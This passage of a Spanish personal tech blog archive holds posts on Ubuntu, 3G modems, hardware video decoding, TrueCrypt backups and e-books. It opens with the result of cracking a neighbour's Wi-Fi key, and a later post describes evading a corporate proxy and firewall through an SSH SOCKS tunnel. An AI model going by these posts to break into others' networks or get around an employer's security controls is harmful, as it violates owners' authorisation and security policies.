   10    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   11    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   12    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 

     KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
 Decrypted correctly: 100%

Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)

Conexión 3G con Ubuntu

2010-08-11T23:32:00.001+02:00

Hace unos meses compré un modem USB 3G de Carrefour móvil. La oferta era muy buena y no quería dejar pasar la oportunidad: Modem 3G USB HUAWEI E156G libre, tarjeta carrefour móvil con 5€ de saldo y tarifa diaria de 1€ sin límite de velocidad hasta 100 MB y luego con velocidad reducida. Todo por tan sólo 29€.

Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:

ivan@suneo:~$ tail /var/log/messages
Aug 11 22:43:56 suneo kernel: [  447.944954] option 2-2:1.0: GSM modem (1-port) converter detected
Aug 11 22:43:56 suneo kernel: [  447.945320] usb 2-2: GSM modem (1-port) converter now attached to ttyUSB0

El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del network manager y añadimos una nueva conexión Mobile, seleccionamos el dispositivo, el país, nuestro operador y finalizamos.

Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador.

¿Quién dijo que configurar las cosas en linux era difícil?.

En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir CARREFOURINTERNET como APN y listo, conexión configurada y lista para ser utilizada.

Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI

2010-08-01T11:09:00.002+02:00

   Desde que monté el HTPC una de las cosas que siempre quise hacer fue acelerar por hardware los vídeos H.264. Todas las series que descargo (que son bastantes) intento que estén siempre en 720p puesto que además de la calidad adicional respecto al divx estándar, también viene con sonido 5.1, por lo que la sensación final es mucho mejor.
   Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé Ubuntu en el HTPC la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías VAAPI (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será mplayer. Veamos cómo lo he conseguido.

Instalando el driver propietario de ATI
   Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.
   Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:

$ sudo ./ati-driver-installer-10-7-x86.x86_64.run

Instalando las librerías VAAPI
Como hemos comentado, para conseguir la aceleración por GPU vamos a usar VAAPI. En la web http://www.splitted-desktop.com/~gbeauchesne/ nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video

$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva-dev_0.31.1-1+sds4_amd64.deb
$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1-dbg_0.31.1-1+sds4_amd64.deb
$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1_0.31.1-1+sds4_amd64.deb
$ wget http://www.splitted-desktop.com/~gbeauchesne/xvba-video/xvba-video_0.7.2-1_amd64.deb

Instalamos los paquetes que acabamos de descargar:

$ sudo dpkg -i libva* xvba-video_0.7.2-1_amd64.deb

Compilando mplayer con soporte VAAPI
Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica SMPlayer.
Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes xxxx-dev necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.

$ sudo apt-get build-dep mplayer

Aunque la compilación de mplayer puede parecer algo complejo, realmente es muy sencilla. Lo que realmente nos vamos a descargar es un script y unos parches para mplayer. Descargamos la última versión disponible en http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/.

$ wget http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/mplayer-vaapi-20100713.tar.bz2

$ bunzip2 mplayer-vaapi-20100713.tar.bz2
$ tar xvf mplayer-vaapi-20100713.tar
mplayer-vaapi-20100713/
mplayer-vaapi-20100713/patches/
mplayer-vaapi-20100713/patches/mplayer-vaapi-gma500-workaround.patch
mplayer-vaapi-20100713/patches/mplayer-vdpau.patch
mplayer-vaapi-20100713/patches/mplayer-vaapi.patch
mplayer-vaapi-20100713/patches/mplayer-vaapi-0.29.patch
mplayer-vaapi-20100713/checkout-patch-build.sh
mplayer-vaapi-20100713/README.txt
mplayer-vaapi-20100713/NEWS

Ejecutamos el script que se encarga de todo. Descarga de los subversions las versiones adecuadas de mplayer, ffmpeg y dvdnav, las parchea y finalmente las compila. Si hemos ejecutado todos los pasos anteriores deberíamos tener todas las dependencias satifeschas y la compilación no debería fallar. Esperamos a que termine ya que tardará más o menos en función de la potencia de la máquina.

$ ./checkout-patch-build.sh

Ahora tendremos un directorio llamado mplayer-vaapi en el que estará disponible nuestra propia versión de mplayer.

Probando a vídeos con aceleración y sin ella
Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:

$ ./mplayer Lost.S06E01-02.720p.mkv
...
VIDEO:  [H264]  1280x720  0bpp  24.000 fps    0.0 kbps ( 0.0 kbyte/s)
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
Starting playback...
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [xv] 1280x720 => 1280x720 Planar YV12

Si ahora hacemos lo mismo pero utilizamos VAAPI vemos en la salida de mplayer que estamos usando las librerías para la aceleración.

$ ./mplayer -vo vaapi -va vaapi Lost.S06E01-02.720p.mkv
...
VIDEO:  [H264]  1280x720  0bpp  24.000 fps    0.0 kbps ( 0.0 kbyte/s)
libva: libva version 0.31.1-sds1
Xlib:  extension "XFree86-DRI" missing on display ":0.0".
libva: va_getDriverName() returns 0
libva: Trying to open /usr/lib/va/drivers/fglrx_drv_video.so
libva: va_openDriver() returns 0
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
[VD_FFMPEG] VA API accelerated codec.
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
VO: [vaapi] 1280x720 => 1280x720 H.264 VA-API Acceleration
[VD_FFMPEG] XVMC-accelerated MPEG-2.

   Para que se vea de una manera más gráfica la diferencia de consumo de CPU, con el comando pidstat tomé muestras del consumo de mplayer en ambos casos.

   Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.

   Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.

$ sudo make install
install -d /usr/local/bin /usr/local/etc/mplayer /usr/local/lib
install -m 755 -s mencoder /usr/local/bin
install -d /usr/local/share/man/man1
install -m 644 DOCS/man/en/mplayer.1 /usr/local/share/man/man1/
cd /usr/local/share/man/man1 && ln -sf mplayer.1 mencoder.1
install -m 755 -s mplayer /usr/local/bin

Automatizando los parámetros de mplayer
Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica S/PDIF. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.
Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.

$ aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: SB [HDA ATI SB], device 0: ALC889A Analog [ALC889A Analog]
 Subdevices: 1/1
 Subdevice #0: subdevice #0
card 0: SB [HDA ATI SB], device 1: ALC889A Digital [ALC889A Digital]
 Subdevices: 1/1
 Subdevice #0: subdevice #0
card 1: HDMI [HDA ATI HDMI], device 3: ATI HDMI [ATI HDMI]
 Subdevices: 1/1
 Subdevice #0: subdevice #0

Así, debemos ejecutar mplayer indicando la tarjeta y el dispositivo que queremos utilizar para sacar el audio. Adicionalmente también le forzamos el audio AC3:

$ mplayer -ao alsa:device=hw=0.1 -ac hwac3 -vo vaapi -va vaapi pelicula.mvk

Si hubiera querido que el audio saliera directamente por el conector HDMI que va a la tele, las opciones que tendría que haber puesto en mplayer serían: -ao alsa:device=hw=1.3
Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.

$ cat /home/ivan/.mplayer/config
# Write your default config options here!
# Salida por S/PDIF
ao=alsa:device=hw=0.1,
# Forzar audio a AC3
ac=hwac3
# Aceleración HW
vo=vaapi
va=vaapi

De esta sólo tenemos que ejecutar

$ mplayer pelicula.mkv

y tendremos la salida de audio por S/PDIF y la aceleración por hardware habilitada.

¿Y por qué no usar VLC?
Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir estas instrucciones. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.

Now, regarding vaapi (GPU acceleration): you basically can't compile VLC 1.1.0 with vaapi support without breaking stuff. To get it to work with vaapi, it would need newer ffmpeg packages which would mean every package using the ffmpeg packages in the Ubuntu official repository would be broken unless it is compiled against the same ffmpeg package (so you would need to either compile every package that uses ffmpeg yourself or a PPA should package all these packages - which is practically impossible).

There is a PPA which packages VLC 1.1.0 with vaapi support as well as fixed mplayer to work with the new ffmpeg/gstreamer. But since this PPA only has VLC and mplayer, it means that other video players / video editors will stop working if you use the following PPA and for this reason I won't post instructions for installing it here. You can however find both the PPA and exact instructions for installing VLC 1.1.0 with vaapi support, HERE. Remember: using it, a lot of applications will be broken! Also, the VLC package in the Cutting Edge Multimedia PPA (not the C-Korn PPA we posted in the begining of the post - that's stable and doesn't break anything!) doesn't yet have the latest VLC 1.1.0 but a GIT version dating back to June 16 - that's still very close to the final version.

Así que nada. Tendremos que esperar a que se actualicen todos los programas de los repos antes de poder probar la aceleración hardware con VLC.

Conclusiones
Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).

¡Ha nacido Adriana!

2010-07-17T16:19:00.002+02:00

El pasado 5 de Julio a las 01:20 AM nació por parto natural Adriana. Pesó 3,120 Kg y midió 48 cm. Ahora que se me está terminando la baja de paternidad saco un hueco para escribir y contarlo. La niña y mi mujer están bien y ahora estamos adaptándonos a la situación. Judith parece que se lo está tomando bastante bien y de momento mira con curiosidad a su hermanita, la acaricia y le da besitos. Iremos viendo poco a poco cómo va evolucionando la situación.

Como no iba a ser menos, Adriana ya tiene creado su blog en el que iremos poniendo fotos para que las vea la familia (y por supuesto todo el que quiera!): http://adrianalopezbre.blogspot.com.

Ubuntu en el HTPC. ¡Ahora sí!

2010-07-01T16:40:00.003+02:00

   Hace prácticamente un año que escribí el artículo HTPC para el salón. En él comentaba que había montado un HTPC y que le había instalado Windows XP, pero que había dejado una partición para Linux. Además, probé un live-cd de Ubuntu pero no me llegó a ir del todo bien y al final lo fui dejando pasar.

   Resulta, que como siempre pasa en Windows con el paso del tiempo, el sistema se va degradando y deja de funcionar. Es algo que me extrañó porque en el HTPC no instalaba nada, sólo lo mínimo imprescindible para funcionar y para que el ordenador arrancase rápido. Aún así, hace unos 3-4 meses empezó a resetearse de vez en cuando sin motivo aparente. Así que cogí un live-cd de Ubuntu 9.10, lo instalé y me puse a configurarlo. Después de pegarme bastante, al final logré dejar todo funcionando, incluso sacando el audio por la salida óptica enganchada al ampli en 5.1 :-D. Luego, después de que saliera Ubuntu 10.04, formatee, instalé todo de cero y configuré de nuevo (esta vez fue todo más rápido y sencillo).

    Después de llevar utilizando Ubuntu como media center estos últimos meses he de decir que no tiene nada que envidiar a Windows. Todos los codecs funcionan, el audio en 5.1 sin problemas e incluso la aceleración de videos en HD, algo que cuando arrancaba con windows nunca fui capaz de conseguir. Pero esto tendrá que esperar a la siguiente entrada...

Actualización: Como dice luischenco en los comentarios, ni siquiera he contado el software que estoy utilizando. La verdad es que no estoy utilizando ninguno!. Me explico. He probado XBMC y Boxee y ninguno me ha terminado de convencer. Sí, son muy bonitos y están muy bien hechos, pero no son para mi. Yo el htpc lo utilizo como "almacen temporal" de pelis y series, no las guardo para siempre, por lo que no necesito tener las carátulas, la sinopsis, la información de los actores,... Como he dicho, es muy chulo, pero nada más. En el htpc no tengo música, ni fotos y nada más, sólo series y pelis (y dibus para Judith), por lo que todo eso no me aporta nada.
El software que utilizo: 3 accesos directos en el escritorio a las pelis, series y dibujos, y luego doble-clic en el archivo que quiero abrir, así de sencillo. Por defecto se abre con VLC y si quiero aceleración hardware lo lanzo con mplayer desde línea de comandos. Así de simple.

Nuevo diseño del blog

2010-06-20T23:50:00.000+02:00

Estaba dispuesto esta noche a preparar un par de artículos que tenía pendientes desde hace tiempo pero al conectarme a blogger he visto que hay una opción nueva para cambiar el diseño del blog. He estado haciendo unas cuantas pruebas y el resultado es el que podéis ver.

El nuevo diseñador es muy sencillo y fácil de utilizar, permite cambiar muchas opciones de la plantilla e incluso añadir nuestros propios de css sin tener que tocar el código para nada.
Además, también he estado retocando los widgets laterales, añadiendo el track de google analytics y poco más, en muy poco tiempo el blog ha quedado listo y con un lavado de cara que venía postponiendo desde hacía ya demasiado tiempo.

En fin, tendré que dejar los artículos para otro día...

Quinto aniversario del blog

2010-05-05T09:24:00.000+02:00

   Cómo pasa el tiempo... han pasado ya cinco años desde que escribir mi primer post en el que ponía dos escuetas líneas y poco más.

   Al principio el blog empezó siendo un cajón desastre en el que contaba lo que se me pasaba por la cabeza, comentaba noticias que había leído,... en fin, un blog personal a todos los efectos, sin temática definida y sin mucho que aportar. Así fueron saliendo posts como una película de Star Wars hecha por aficionados: Star Wars Revelations, el alta de mi cuenta nómina de ING (que todavía sigo utilizando): Cuenta Nómina de ING, un regalo de cumpleaños tecnológico: Mi regalo de cumpleaños. Luego vinieron otros post con unas estadísticas (miserables) de visitas al blog: Estadísticas, mi título de Ingeniero en Informática: Ya soy ingeniero..., el que creo que fue mi primer post técnico de verdad sobre apache y tomcat: Apache + Tomcat + Redirección + Ocultamiento de puertos, el flasheo de un router linksys DD-WRT en Linksys que Fon me vendió por 1€+IVA: Punto de acceso Fon y un largo etcétera.

   Así llegamos al que fue el punto de inflexión en el blog y en su temática. El artículo sobre el Raid 1 en Linux. Este artículo marcó un antes y un después puesto que llegó a portada de Barrapunto: El efecto Barrapunto. A partir de ahí las visitas comenzaron a subir y me sirvió para que el blog se conociera algo más. Desde entonces fijé una temática técnica y salvo casos muy puntuales creo que la he mantenido.

   Desde entonces, surgieron artículos como el de mi nuevo PC: Nuevo ordenador, la migración desde windows a linux: Migración a Linux, pruebas con el API de Google Calendar para enviarme SMS al móvil: Usando el API de Google Calendar: Alarmas por SMS. El blog también ha visto nacer a mi primera hija, Judith: He sido padre..., "brickee" y arreglé una fonera: Fonera Brickeada... e incluso oculté la ventana que aparece cuando bloqueamos un equipo windows: Ocultar la ventana de "Equipo Bloqueado" en Window....

   Posteriormente llegaron dos artículos más que también fueron portada de Barrapunto. Monitorizando sistemas con Nagios y Raid 1 en un sistema ya instalado. Recordamos cómo era la informática hace unos cuantos años (no tantos): La informática de antaño, Judith dijo sus primeras palabras frikis: Los comienzos de un friki... a los 21 meses, me puse a programar con GWT: Mufly: Contabilidad doméstica programada en GWT e incluso monté un HTPC como centro multimedia en el salón: HTPC para el salón.

   ¿Y a partir de ahora qué?. Pues tal vez ir a por otros cinco años más. No sé cómo irá evolucionando el asunto ya que es cierto que ya no tengo tanto tiempo libre como antes y eso se nota en el ritmo de publicación, pero lo que tengo claro es que el blog sigue y seguirá abierto.

Backups off-site cifrados truecrypt

2010-03-07T10:23:00.001+01:00

En todos los proyectos hay distintas etapas. Primero te das cuenta de que la forma de realizar los backups es poco óptima y segura y decides que sería mejor tener un raid 1 para protegerte de los fallos en disco. Un tiempo después empiezas a pensar que eso está muy bien, pero qué ocurre si te roban el ordenador (con sus 2 discos del raid), se incendia, inunda o viene un tornado y te quedas sin casa. Pues que has perdido todos tus preciados datos. En ese momento piensas en un backup off-site, es decir, fuera de tu casa. Hay muchos servicios online, pero cuando tienes cientos de gigas de información que almacenar, pueden suponer muchos euros al mes.
Al final, una solución puede ser hacer el backup a un disco externo y llevar ese disco a otro sitio: la oficina, la casa de tus padres,... y cada cierto tiempo traerlo a casa, sincronizar los datos pendientes y volverlo a llevar. Pero, ¿qué ocurre si ese disco externo se pierde o roban en casa de tus padres?, que todo el mundo vería tu información. La solución para esto, el cifrado.

Así es cómo lo voy a hacer. Tengo un disco duro de 120 GB que usaba antes de ampliar el raid y que ahora tengo en una caja externa usb. Para el cifrado, utilizo Truecrypt, del que ya he hablado varias veces y que me parece una solución estupenda.

Creamos el dispositivo cifrado. En lugar de crear un archivo .tc voy a cifrar toda la partición. Nos pedirá que seleccionemos los algoritmos, que introduzcamos una clave y que "aporreemos" el teclado para generar las claves con cierta aleatoriedad. No elegimos sistema de archivos puesto que sólo podemos escoger FAT y nosotros formatearemos posteriormente a ext3. Este proceso puede durar mucho tiempo en función del tamaño del disco, en mi caso fueron unas dos horas.

shian:~# truecrypt -c /dev/sda1

Una vez finalizado el proceso, montamos el volumen cifrado indicando que no tiene filesystem.

shian:~# truecrypt --filesystem=none /dev/sda1 /mnt/ext_backup

Vemos dónde se ha mapeado el dispositivo y lo formateamos. Ojo no hay que elegir /dev/sda1 puesto que sino sobreescribiríamos el volumen cifrado y tendríamos que empezar de nuevo.

shian:~# truecrypt -l   
1: /dev/sda1 /dev/mapper/truecrypt1

shian:~# mkfs.ext3 /dev/mapper/truecrypt1

Desmontamos el volumen y lo montamos en su ubicación definitiva con el sistema de archivos ya creado. Ahora ya podríamos empezar a copiar todos nuestros datos en él.

shian:~# truecrypt -d /dev/sda1

shian:~# trucrypt /dev/sda1 /mnt/ext_backup

shian:~# df -h
S.ficheros               Tamaño Usado  Disp Uso% Montado en
/dev/mapper/truecrypt1   113G   17G   91G  16% /mnt/ext_backup

Para la sincronización he hecho un script muy sencillo con rsync que copia los datos de la partición del raid donde los deja el proceso de backup al volumen cifrado. Sólo muestro dos directorios, pero el comando es el mismo para todos.

#!/bin/bash
echo "Asegurate de que esté montado el volumen cifrado!!!!"
echo "CTRL+C para cancelar"
read

DATA_HOME=/mnt/raid/datos/doraemon/current
BACKUP_DST=/mnt/ext_backup
LOG_FILE=/root/log_externalBackup/$(date +%Y%m%d_%H%M)_externalBackup.log
FINAL_LOG_DST=/mnt/ext_backup/logs

rsync -avpz --stats "$DATA_HOME/media/sda2/Fotos" $BACKUP_DST > $LOG_FILE
rsync -avpz --stats "$DATA_HOME/media/sda2/Musica" $BACKUP_DST >> $LOG_FILE

cp $LOG_FILE $FILE_LOG_DST/

Y listo, con esto estaría todo terminado. Ya sólo hay que lanzar el script y esperar a la sincronización. La primera vez tardará varias horas en función del volumen de datos, pero posteriormente la copia no debería tardar demasiado.

Tal vez esta solución no sea la más limpia y elegante, puesto que los datos no están al día, hay que acordarse de traer y llevar el disco externo (con un par de notas en Google Calendar se soluciona), pero sin duda es más barata y tienes más control de tus datos :-P

8 meses con un e-book

2010-01-17T10:32:00.000+01:00

Cuando estuvimos en Nueva York el pasado mes de mayo, una de las cosas que nos compramos (a parte de bolsos de imitación) fue un lector de libros electrónico. Más concretamente lo compramos para mi mujer, gran lectora que está devorando libros todo el año. El modelo elegido fue el Sony PRS-505 del que ya habíamos leído mucho antes del viaje y llevábamos preparadas varias tiendas físicas en donde lo vendían a muy buen precio. Al cambio nos costó unos 220€, que aunque puede parece elevado al principio, en cuanto te has leído unos 20-25 libros lo has amortizado completamente. Es cierto que en este tiempo se ha avanzado bastante, Sony ha presentado nuevos modelos con más prestaciones e incluso más baratos, Amazon ha decidido vender en Kindle en España (aunque lo vimos a una mujer en el metro y Ana me dijo que era muy feo), e incluso Barnes & Noble ha presentado el suyo, el nook, que parece va a ser el Kindle-Killer. En fin, como todo en esto de la informática, nunca se puede estar a la última...

Para los que nunca han tenido un ebook en las manos, decir que la nitidez y la calidad es muy buena. Al no ser una pantalla brillante no cansa la vista y al ser tinta electrónica sólo se gasta batería cuando se pasa página. Aunque en las especificaciones oficiales indica que la batería dura unos 7500 cambios de página, en realidad es algo menos (vamos, como las especifícaciones de los móviles). Aún así, se pueden leer varios libros de los gordos con una carga completa.

   Respecto a los libros, actualmente estamos descargando libros en el formato nativo (y propietario) de Sony LRF. Es un formato ocupa que muy poco (un libro mediano son unos 500 Kbytes), permite tener índice, tabla de contenidos e incluso portada. Hay gran cantidad de libros disponibles en este formato y en distintos foros hay mucha gente que escanea, convirte, maqueta y prepara las novedades a este nuevo formato. Por ejemplo, el tercer libro de la trilogía Milenium de Stieg Larsson estaba disponible para descargar sólo 3 días después de su lanzamiento en formato físico.
Al viaje nos llevamos en una tarjeta sd unos cuantos libros en distintos formatos para probarlo y ya esperando en el aeropuerto para volver y durante el vuelo estuvo usándolo.
Yo también he utilizado el libro para leer algún pdf técnico y la experiencia es muy buena. Incluso con el zoom al mínimo en el que se muestra toda la página, la nitidez es perfecta.

   Para gestionar la biblioteca digital utilizo Calibre. Es una aplicación open source y multiplataforma (windows, linux y mac) muy completa, con gran cantidad de opciones y que se actualiza muy a menudo. Muchísimo mejor que la de Sony que viene con el lector y que por supuesto sólo funciona con windows.

   Después de 8 meses de uso mi mujer está encantada con la compra, lee ahora más que antes y encima los libros que ella quiere sin necesidad de esperar a algún cumpleaños a que se los regalen o que alguien le preste alguno.
Todavía recuerdo como hace algo más de un año, cenando con unos amigos salió el tema de los libros electrónicos y mi mujer decía que no sería lo mismo que los libros en papel, y que se perdía la gracia y el tacto del papel. Ahora mismo no cambia su ebook por nada... :-)

Saltarse proxy con tunel ssh + socks

2009-11-24T12:51:00.003+01:00

   Hace ya casi tres años explicaba un método para saltarse un proxy + firewall corporativo con un tunel HTTP. Unos meses después nos quitaron las restricciones y podíamos conectarnos libremente a internet sin proxy (con un proxy transparente), pero hace unos días la cosa ha cambiado. Han implementado nuevas políticas de seguridad y otras vez nos hemos quedado sin acceso a gmail, facebook, blogs y demás páginas consideradas hostiles.

   Pero claro, ya nos lo hemos saltado de nuevo, sino no existiría este post :-D. Tengo que decir que el método no es mío, sino que lo he encontrado aquí, aunque es cierto que he estado muy cerca de la solución :-P.

   Haciendo un resumen rápido, consiste en establecer un tunel ssh por el que irá nuestra conexión a internet a las páginas prohibidas, pero en lugar de poner en el otro extremo el ordenador de nuestra casa y configurar ahí un proxy http, nos conectamos por ssh a nuestro router y él es el que se encarga de servirnos las páginas web. En el navegador, en lugar de configurar un proxy http utilizamos un proxy socks.

   Debo decir que según estaba leyendo el tutorial no pensaba que fuera posible. De hecho, aunque sabía que existían los proxies socks, no tenía claro cual era su función. En la wikipedia por medio de un ejemplo nos explican las diferencias entre un proxy http y un proxy socks.

   Ayer configuré todo en casa y esta mañana lo he probado en el trabajo y todo funciona sin problemas. La única limitación es que al pasar todo nuestro tráfico por la conexión de casa, estamos limitados por el ancho de banda de subida (sí, subida porque nuestro router nos tiene que enviar todo) que tengamos contratado.
Como también tengo acceso por ssh al servidor linux donde está corriendo Mufly que tiene un ancho de banda mucho mayor, he hecho un test de velocidad. La primera captura es estableciendo el tunel contra mi router y la segunda contra el servidor de Mufly. La diferencia salta a la vista, así que, después de hablar con el dueño del servidor, voy a establecer el tunel por él :-P.

Si queréis información más técnica y detallada no hay mejor sitio que estos dos magníficos artículos de Vicente Navarro (aka Supercoco):

Creando túneles TCP/IP (port forwarding) con SSH: Los 8 escenarios posibles usando OpenSSH

Reenvío dinámico de puertos / montar un servidor SOCKS con SSH

Tengo cuenta en Google Wave

2009-10-12T00:23:00.001+02:00

   Pues sí, lo que leéis en el título del post, desde hace una par de días tengo activa mi cuenta de Google \/\/ave.

   En su momento, cuando salió la dev preview solicité mi cuenta y en poco tiempo Google me envió una invitación para probar. Hace unas semanas, cuando se han enviado las primeras 100.000 invitaciones, me llegó un wave a mi cuenta de developer con un link para activar Google Wave con mi cuenta habitual de gmail. Como podéis ver en la captura, todavía hay poco, sólo tengo un contacto (pedimos las cuentas de developer a la vez) y no hay mucho movimiento.

   La primera vez que nos conectamos a Google Wave vemos que hay dos waves, el que tengo abierto en pantalla que nos da la bienvenida y otro en el que tenemos "nominaciones" para invitar a gente a usar Google Wave. Como indican en este wave las invitaciones no se envían inmediatamente, por lo que los elegidos deben tener paciencia...

Invitations will not be sent immediately. We have a lot of stamps to lick.

De momento, como he comentado, no lo puedo utilizar demasiado por falta de contactos pero la primera impresión es muy buena. La interfaz está muy cuidada y tiene pequeños detalles en los que se nota que los chicos de Google han puesto todo su esmero y que la hacen muy usable. Está totalmente desarrollada con Google Web Toolkit, aunque con mejoras que no se introducirán hasta la versión 2.0 que esperamos sea liberada dentro de poco.

En fin, que espero que poco a poco mis contactos se vayan ampliando para poder sacarle todo el partido posible. Os mantendré informados de las novedades.

P.D: Antes de que preguntéis, no tengo más invitaciones, he repartido todas.

Resolviendo los problemas con los juegos de caracteres y Truecrypt en linux

2009-10-06T17:10:00.000+02:00

Ya hablé hace mucho de truecrypt y de lo útil que resulta para llevar información sensible en un pendrive sin miedo a que se pueda perder. El otro día estaba consultando desde linux algunos archivos del volumen cifrado que llevo en mi pendrive y me di cuenta que los caracteres especiales no se veían correctamente:

ivan@doraemon:/media/truecrypt3/B&S$ ls -l
total 20
-rwx------ 1 ivan ivan  4351 2009-07-03 09:11 Ana.png
-rwx------ 1 ivan ivan 11567 2009-07-03 09:10 Iv?n.png
-rwx------ 1 ivan ivan     0 2009-08-23 20:42 ??????.txt

ivan@doraemon:~$ mount | grep /media/truecrypt
/dev/mapper/truecrypt3 on /media/truecrypt3 type vfat (rw,uid=1000,gid=1000,umask=077)

La solución es tan sencilla como indicar en las opciones de montaje en truecrypt, en el menú Settings -> Preferences; Tab "Mount Options", que lo monte como utf8.

Ahora montamos de nuevo el volumen y comprobamos que está como utf8:

ivan@doraemon:~$ mount | grep /media/truecrypt
/dev/mapper/truecrypt3 on /media/truecrypt3 type vfat (rw,uid=1000,gid=1000,umask=077,utf8)

Y que podemos ver sin problemas los nombres de los archivos:

ivan@doraemon:/media/truecrypt3/B&S$ ls -l
total 20
-rwx------ 1 ivan ivan     0 2009-08-23 20:42 áéíóúñ.txt
-rwx------ 1 ivan ivan  4351 2009-07-03 09:11 Ana.png
-rwx------ 1 ivan ivan 11567 2009-07-03 09:10 Iván.png

Ahora ya nada nos impide utilizar nuestro volumen cifrado independientemente del sistema operativo con el que trabajemos y sin los problemas de los juegos de caracteres.

Cursos online de Formación Center

2009-10-06T17:07:00.000+02:00

La empresa Formacion Center http://formacioncenter.com/ presenta sus nuevos cursos online sobre la Creación de una Tienda Virtual y La ofimática y la productividad con Google Docs. Empecemos con el primero:

Gestión de tienda virtual y cómo conseguir más clientes: Durante el curso se enseñará a crear y gestionar una tienda virtual y un blog corporativo desde cero y a atraer clientes a esa nueva tienda. Se explican conceptos básicos y avanzados para posicionar la tienda en google, utilizar adwords, integrar todo con analytics. Además proporcionan un hosting con WordPress instalado y configurado en español para el blog corporativo. Todo ello está explicado con videotutoriales para que sea más fácil e intuitivo el aprendizaje y se complementa con manuales en pdf.

El segundo curso aunque tiene como parte de su nombre Google Docs, en realidad es más amplio. Se analizan y se enseñan las principales herramientas online que proporciona Google para hacernos la vida más fácil y aumentar nuestra productividad:

Uso de Google Docs para crear documentos, hojas de cálculo y presentaciones. Además se verá cómo compartirlas, otorgar distintos permisos y gestionar todos los archivos.

